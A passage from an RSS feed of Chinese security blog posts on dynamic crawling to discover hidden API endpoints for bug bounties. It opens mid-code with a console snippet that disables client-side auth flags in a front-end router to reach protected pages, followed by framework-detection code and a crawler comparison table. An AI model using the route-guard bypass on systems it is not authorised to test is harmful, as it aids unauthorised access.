<span class="code-snippet__literal">true</span>) {</span></code><code><span leaf="">            route.<span class="code-snippet__property">meta</span>[key] = <span class="code-snippet__literal">false</span>;</span></code><code><span leaf="">        }</span></code><code><span leaf="">    }</span></code><code><span leaf="">})</span></code></pre></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">此时，当你再访问原先需要鉴权的页面时，会发现页面已经不再跳转了。</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">一些API接口请求也开始出现，但大部分API接口，通常不会响应未登录用户的请求。你可以在web console导航到部分原先鉴权的页面，注意，不要在浏览器地址栏输入（会导致js context被销毁）</span></span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="swift"><code><span leaf="">foundRouter.push(&#39;<span class="code-snippet__regexp">/some/</span>secret<span class="code-snippet__regexp">/page/</span>you<span class="code-snippet__regexp">/can/</span>not<span class="code-snippet__operator">/</span>access&#39;)</span></code></pre></section><section style="text-align: center;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">   识别</span><span leaf="">Next.js </span><span leaf="">React   </span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">优先识别Next.js， 采用如下方法</span></span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf=""><span class="code-snippet__comment">// Next.js, method 1: 检查 Next.js 的全局变量</span></span></code><code><span leaf=""><span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">typeof</span> <span class="code-snippet__variable">window</span>.<span class="code-snippet__property">__NEXT_DATA__</span> !== <span class="code-snippet__string">&#39;undefined&#39;</span>) {</span></code><code><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#39;nextjs&#39;</span>; <span class="code-snippet__comment">// Next.js 是基于 React 的，应该优先判断</span></span></code><code><span leaf="">}</span></code><code><span leaf=""><span class="code-snippet__comment">// Next.js, method 2: 检查特定的 meta 和 script 标签</span></span></code><code><span leaf=""><span class="code-snippet__keyword">if</span> (!!<span class="code-snippet__variable">document</span>.<span class="code-snippet__title">querySelector</span>(<span class="code-snippet__string">&#39;meta[name=&#34;next-head&#34;]&#39;</span>)){</span></code><code><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#39;nextjs&#39;</span>;</span></code><code><span leaf="">}; </span></code><code><span leaf=""><span class="code-snippet__keyword">const</span> scripts = <span class="code-snippet__title">Array</span>.<span class="code-snippet__title">from</span>(<span class="code-snippet__variable">document</span>.<span class="code-snippet__title">querySelectorAll</span>(<span class="code-snippet__string">&#39;script[src^=&#34;/_next/&#34;]&#39;</span>));</span></code><code><span leaf=""><span class="code-snippet__keyword">if</span> (scripts.<span class="code-snippet__property">length</span> &gt; <span class="code-snippet__number">0</span>) {</span></code><code><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#39;nextjs&#39;</span>;</span></code><code><span leaf="">}</span></code></pre></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">若未识别Next.js，继续识别</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">React。 大型应用使用React的比例极高，比如我们常用的chatgpt deepseek grock，都使用了React框架</span></span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf=""><span class="code-snippet__comment">// React, method 1: 检查 React 相关的全局变量</span></span></code><code><span leaf=""><span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">typeof</span> <span class="code-snippet__variable">window</span>.<span class="code-snippet__property">__REACT__</span> !== <span class="code-snippet__string">&#39;undefined&#39;</span> || <span class="code-snippet__keyword">typeof</span> <span class="code-snippet__variable">window</span>.<span class="code-snippet__property">React</span> !== <span class="code-snippet__string">&#39;undefined&#39;</span> || <span class="code-snippet__keyword">typeof</span> <span class="code-snippet__variable">window</span>.<span class="code-snippet__property">__REACT_DEVTOOLS_GLOBAL_HOOK__</span> !== <span class="code-snippet__string">&#39;undefined&#39;</span>) {</span></code><code><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#39;react&#39;</span>;</span></code><code><span leaf="">}</span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__comment">// React, method 2: 检查 DOM 元素上的 React 属性</span></span></code><code><span leaf=""><span class="code-snippet__keyword">const</span> rootElement = <span class="code-snippet__variable">document</span>.<span class="code-snippet__title">getElementById</span>(<span class="code-snippet__string">&#39;root&#39;</span>) || <span class="code-snippet__variable">document</span>.<span class="code-snippet__title">querySelector</span>(<span class="code-snippet__string">&#39;*&#39;</span>); <span class="code-snippet__comment">// 尝试获取根元素</span></span></code><code><span leaf=""><span class="code-snippet__keyword">if</span> (rootElement) {</span></code><code><span leaf=""><span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">const</span> key <span class="code-snippet__keyword">in</span> rootElement) {</span></code><code><span leaf=""><span class="code-snippet__keyword">if</span> (key.<span class="code-snippet__title">startsWith</span>(<span class="code-snippet__string">&#39;__react&#39;</span>) || key.<span class="code-snippet__title">startsWith</span>(<span class="code-snippet__string">&#39;__reactFiber$&#39;</span>)) {</span></code><code><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#39;react&#39;</span>;</span></code><code><span leaf="">		}</span></code><code><span leaf="">	}</span></code><code><span leaf="">}</span></code></pre></section><section style="text-align: center;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="2 2 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">   识别</span><span leaf="">Angular   </span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">Google的应用使用Angular框架不少，简单识别方法如下</span></span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf=""><span class="code-snippet__keyword">if</span> (<span class="code-snippet__variable">window</span>.<span class="code-snippet__property">angular</span> || <span class="code-snippet__variable">window</span>.<span class="code-snippet__property">ng</span>) {</span></code><code><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#39;angular&#39;</span>;</span></code><code><span leaf="">}</span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__keyword">if</span> (<span class="code-snippet__variable">document</span> &amp;&amp; <span class="code-snippet__variable">document</span>.<span class="code-snippet__title">querySelector</span>(<span class="code-snippet__string">&#39;[ng-version]&#39;</span>)) {</span></code><code><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#39;angular&#39;</span>;</span></code><code><span leaf="">}</span></code></pre></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">本篇简单介绍了Vue Next.js React Angular的框架识别，枚举Router中登记的所有path，以及简单的鉴权属性移除技巧，通过界面交互，有一定几率发现隐蔽的API接口。</span></span></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247483765">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9b309589&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyNjM0MjQ2Mw%3D%3D%26mid%3D2247483765%26idx%3D1%26sn%3D9af6a62435ca59521e3d11605e925adb%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 06 May 2025 18:55:00 +0800</pubDate>
    </item>
    <item>
      <title>API接口深度发现的动态爬虫实现(2. 测试报告)</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyNjM0MjQ2Mw==&amp;mid=2247483759&amp;idx=1&amp;sn=85e08c132a59048972571177c671cc4e</link>
      <description>Burp测试结果   上一篇中，因Burp不支持配置交互登录，笔者在本地启动一个代理，注入cookie，</description>
      <content:encoded><![CDATA[<p>
原创 <span>扫到漏洞的</span> <span>2025-05-01 13:30</span> <span style="display: inline-block;">北京</span>
</p>

<p>Burp测试结果   上一篇中，因Burp不支持配置交互登录，笔者在本地启动一个代理，注入cookie，</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=a3a258d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0jezbBnTO9kZ6mY5g6N5EwzmiaDADTCmk2j5It0H0Sv4kiboDUicnE6unjKLfnFTz8ia7X5BCznZW7I90ZJ73roRTA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="text-align: center;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">   Burp测试结果   </span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><a style="" href="https://mp.weixin.qq.com/s?__biz=MzkyNjM0MjQ2Mw==&amp;mid=2247483753&amp;idx=1&amp;sn=9a31d96efa56ac96368a894180bcb487&amp;scene=21#wechat_redirect" textvalue="上一篇" data-itemshowtype="0" target="_blank" linktype="text" data-linktype="2"><span textstyle="" style="font-size: 14px;">上一篇</span></a><span textstyle="" style="font-size: 14px;">中，因Burp不支持配置交互登录，笔者在本地启动一个代理，注入cookie，写入local storage，最终使用该代理完成多个工具的对照测试（</span><span textstyle="" style="font-size: 14px;font-weight: bold;">测试环境一致：均在代理环境完成</span><span textstyle="" style="font-size: 14px;">）。</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">Burp表现效果不佳，简单web应用爬取超过1个小时。通过Live Crawl View检查其爬取过程，发现Burp在导航页之间反复跳转和交互，产生了大量无效请求，但并没成功抓到接口。</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">如下图所示，在Burp抓取过程，用户可检视浏览器交互动作：</span></span></section><section style="text-align: center;margin-bottom: 40px;" nodeleaf=""><img data-imgfileid="100000107" class="rich_pages wxw-img" data-ratio="0.2987598647125141" data-s="300,640" data-type="png" data-w="887" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=c7324a52&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9kZ6mY5g6N5EwzmiaDADTCmkuWpb5lmf51DBJaYTswoCE70NMbgtrYwBhADibbxBQiaIZIWFGlDvF8pw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="text-align: center;margin-top: 16px;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255);font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">   </span><span leaf="">Katana v1.1.3测试结果   </span></span></section><section><span leaf=""><span textstyle="" style="font-size: 14px;">昨天留言中有朋友提到katana，立即下载进行了测试。开启-headless 开关，代理中能看到8个不重复的接口请求。但诡异的现象是，记录中未包含任何API接口。静态文件倒是都给出来了，高价值的API均被丢弃。</span></span></section><section style="text-align: center;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="2 2 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: center; margin-top: 16px;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255);font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">   API发现测试</span><span leaf="">结果   </span></span></section><section><span leaf=""><span textstyle="" style="font-size: 14px;">多个扫描器类型爬虫工具，测试站点扫描效果如下</span></span></section><table style="min-width:282px;"><tbody><tr><td data-colwidth="168" style="background-color:#0052ff;"><section><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 255, 255);font-weight: bold;">工具名称</span></span></section></td><td data-colwidth="89" align="center" style="background-color:#0052ff;"><section><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 255, 255);font-weight: bold;">发现接口</span></span></section></td><td style="background-color:#0052ff;"><section><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 255, 255);font-weight: bold;">主要缺陷</span></span></section></td></tr><tr><td data-colwidth="168"><section><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">CrawlerGo 0.4.4</span></span></section></td><td data-colwidth="89" align="center"><section><span leaf=""><span textstyle="" style="font-size: 17px;color: rgb(255, 76, 0);font-weight: bold;">11</span></span></section></td><td><ul style="list-style-type: square;" class="list-paddingleft-1"><li><section><span leaf=""><span textstyle="" style="font-size: 14px;">填表规则简单，偶尔填充失败</span></span></section></li></ul><ul style="list-style-type: square;" class="list-paddingleft-1"><li><section><span leaf=""><span textstyle="" style="font-size: 14px;">路由拦截有失效情况，页面跳出</span></span></section></li><li><section><span leaf=""><span textstyle="" style="font-size: 14px;">无效URL太多，因打包工具引入</span></span></section></li></ul></td></tr><tr><td data-colwidth="168"><section><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">Rad 1.0</span></span></section></td><td data-colwidth="89" align="center"><section><span leaf=""><span textstyle="" style="font-size: 17px;color: rgb(255, 76, 0);font-weight: bold;">6</span></span></section></td><td><ul style="list-style-type: square;" class="list-paddingleft-1"><li style="font-size:14px;"><section><span leaf=""><span textstyle="" style="font-size: 14px;">效率高，但结果不够稳定，丢API</span></span></section></li><li style="font-size:14px;"><section><span leaf=""><span textstyle="" style="font-size: 14px;">和katana一样引入的leakless，长亭的会报毒</span></span></section></li></ul></td></tr><tr><td data-colwidth="168"><section><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">BurpSuite Professional 2025.1.4</span></span></section></td><td data-colwidth="89" align="center"><section><span leaf=""><span textstyle="" style="font-size: 17px;color: rgb(255, 76, 0);font-weight: bold;">5</span></span></section></td><td><ul style="list-style-type: square;" class="list-paddingleft-1"><li><section><span leaf=""><span textstyle="" style="font-size: 14px;">爬虫不支持交互登录和简单维持身份</span></span></section></li><li><section><span leaf=""><span textstyle="" style="font-size: 14px;">爬取陷入无效交互，</span></span></section></li><li><section><span leaf=""><span textstyle="" style="font-size: 14px;">效率低，小型应用超过1个小时</span></span></section></li></ul></td></tr><tr><td data-colwidth="168"><section><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">AWVS </span></span><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">24.8</span></span></section></td><td data-colwidth="89" align="center"><section><span leaf=""><span textstyle="" style="font-size: 17px;color: rgb(255, 76, 0);font-weight: bold;">9</span></span></section></td><td><section><span leaf=""><br/></span></section></td></tr><tr><td data-colwidth="168"><section><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">Katana </span></span><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">v1.1.3</span></span></section></td><td data-colwidth="89" align="center"><section><span leaf=""><span textstyle="" style="font-size: 17px;color: rgb(255, 76, 0);font-weight: bold;">0</span></span></section></td><td><ul style="list-style-type: square;" class="list-paddingleft-1"><li><section><span leaf=""><span textstyle="" style="font-size: 14px;">代理能看到8个接口正常请求，但输出结果为0</span></span></section></li></ul></td></tr><tr><td data-colwidth="168"><section><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">未公开API扫描工具</span></span></section></td><td data-colwidth="89" align="center"><section><span leaf=""><span textstyle="" style="font-size: 17px;color: rgb(255, 76, 0);font-weight: bold;">59</span></span></section></td><td><section><span leaf=""><br/></span></section></td></tr></tbody></table><section style="margin-top: 24px;margin-bottom: 0px;"><span leaf=""><span textstyle="" style="font-size: 14px;">可以初步得出结论，大部分扫描器未对API接口的发现做专门优化，错过了发现API接口漏洞的机会。</span></span></section><section style="margin-top: 24px;"><span leaf=""><span textstyle="" style="font-size: 14px;">接下来的文章中，我将继续介绍API发现工具的优化细节。</span></span></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247483759">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9ce8f284&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyNjM0MjQ2Mw%3D%3D%26mid%3D2247483759%26idx%3D1%26sn%3D85e08c132a59048972571177c671cc4e%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 01 May 2025 13:30:00 +0800</pubDate>
    </item>
    <item>
      <title>API接口深度发现的动态爬虫实现(1)</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyNjM0MjQ2Mw==&amp;mid=2247483753&amp;idx=1&amp;sn=9a31d96efa56ac96368a894180bcb487</link>
      <description>目前，各大SRC接收的漏洞中，API接口漏洞占比极高。本篇首先介绍白帽子常用爬虫的API接口发现能力评测</description>
      <content:encoded><![CDATA[<p>
原创 <span>扫到漏洞的</span> <span>2025-04-30 19:38</span> <span style="display: inline-block;">北京</span>
</p>

<p>目前，各大SRC接收的漏洞中，API接口漏洞占比极高。本篇首先介绍白帽子常用爬虫的API接口发现能力评测</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=993ef26e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0jezbBnTO9n7IH5g5bBxmbOmU5ZYIeDWnA1r4lyt5vGrAyNExKWOb2iaQw09OsVlhia5ryChaxg4j66SElvKicTcA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px 10px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(62, 62, 62);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline-block;vertical-align: top;width: auto;background-color: rgb(149, 185, 238);min-width: 5%;flex: 0 0 auto;height: auto;visibility: visible;" data-pm-slice="0 0 []"><section style="-webkit-tap-highlight-color: transparent;margin: 6px 0px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;visibility: visible;"><section style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(255, 255, 255);visibility: visible;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;visibility: visible;text-align: center;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="font-size: 18px;background-color: rgb(0, 82, 255);font-weight: bold;">   背景  </span></span></p></section></section></section><section style="-webkit-tap-highlight-color: transparent;margin: 0px 0px 0px -1px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(62, 62, 62);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline-block;vertical-align: top;width: auto;flex: 100 100 0%;height: auto;visibility: visible;"><section style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;transform: perspective(0px);transform-style: flat;visibility: visible;"><section style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;justify-content: flex-start;display: flex;flex-flow: row;transform: rotateY(180deg);visibility: visible;"><section style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;height: auto;visibility: visible;"><section style="-webkit-tap-highlight-color: transparent;margin: 0.5em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;"><span leaf=""><br/></span></section></section></section></section></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">目前，各大SRC接收的漏洞中，API接口漏洞占比极高。例如：</span></span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">越权、未授权访问、敏感接口暴露、信息泄漏、并发、SSRF等</span></code></pre></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">在</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span textstyle="" style="font-size: 14px;">躺着自动化捡漏洞这个领域，</span><span textstyle="" 